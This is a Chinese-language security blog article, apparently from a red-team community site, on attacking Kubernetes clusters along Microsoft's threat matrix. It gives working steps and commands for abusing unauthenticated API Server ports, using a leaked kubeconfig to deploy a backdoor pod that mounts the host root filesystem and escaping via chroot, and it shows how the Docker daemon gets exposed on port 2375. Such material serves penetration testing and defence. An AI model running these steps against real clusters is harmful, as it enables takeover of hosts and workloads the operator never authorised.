云原生之Kubernetes安全

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例如:公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

  • 通过虚拟机攻击云管理平台,利用管理平台控制所有机器
  • 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
  • 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
    目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
    图片[1]-云原生之Kubernetes安全-孤勇者社区
    红色标志是攻击者最为关注的技术点。
    ## 初始访问
  • API Server未授权访问
  • kubelet未授权访问
  • Docker Daemon 公网暴露
  • K8s configfile 泄露
    ### API Server未授权访问
    API Server作为K8s集群的管理入口,通常使用 8080 和 6443 端口,其中 8080 端口无需认证,6443 端口需要认证且有TLS 保护。如果开发者使用 8080 端口,并将其暴露在公网上,攻击者就可以通过该端口的API,直接对集群下发指令。
    另一种场景是运维人员配置不当,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
    “`css
    #查看pods
    https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

创建特权容器

https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{“apiVersion”:”v1″,”kind”:”Pod”,”metadata”:{“annotations”:{“kubectl.kubernetes.io/last-applied-configuration”:”{\”apiVersion\”:\”v1\”,\”kind\”:\”Pod\”,\”metadata\”:{\”annotations\”:{},\”name\”:\”test-4444\”,\”namespace\”:\”default\”},\”spec\”:{\”containers\”:[{\”image\”:\”nginx:1.14.2\”,\”name\”:\”test-4444\”,\”volumeMounts\”:[{\”mountPath\”:\”/host\”,\”name\”:\”host\”}]}],\”volumes\”:[{\”hostPath\”:{\”path\”:\”/\”,\”type\”:\”Directory\”},\”name\”:\”host\”}]}}\n”},”name”:”test-4444″,”namespace”:”default”},”spec”:{“containers”:[{“image”:”nginx:1.14.2″,”name”:”test-4444″,”volumeMounts”:[{“mountPath”:”/host”,”name”:”host”}]}],”volumes”:[{“hostPath”:{“path”:”/”,”type”:”Directory”},”name”:”host”}]}}

执行命令

https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami

创建特权容器详细解释:
![](https://xzfile.aliyuncs.com/media/upload/picture/20211230191403-98e85642-6961-1.png)
创建特权容器
### K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等),就可以直接通过 API Server 接管 K8s 集群,带来风险隐患。

用户凭证保存在 kubeconfig 文件中,kubectl 通过以下顺序来找到 kubeconfig 文件:
1.如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。
2.如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
3.如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。

拿到K8s configfile完整利用流程:
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
```css
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml

#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c

#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true

#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true

#切换bash,逃逸成功
cd /host
chroot ./ bash

Docker Daemon 公网暴露

Docker以C/S模式工作,其中docker daemon服务在后台运行,负责管理容器的创建、运行和停止操作。
在Linux主机上,docker daemon监听在/var/run/docker.sock中创建的unix socket,2375端口用于未认证的HTTP通信,2376用于可信HTTPS通信。
在最初版本安装Docker时默认会把2375端口对外开放,目前默认只允许本地访问。

管理员开启远程访问的配置如下:

#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像严卡0
    • 头像擦张0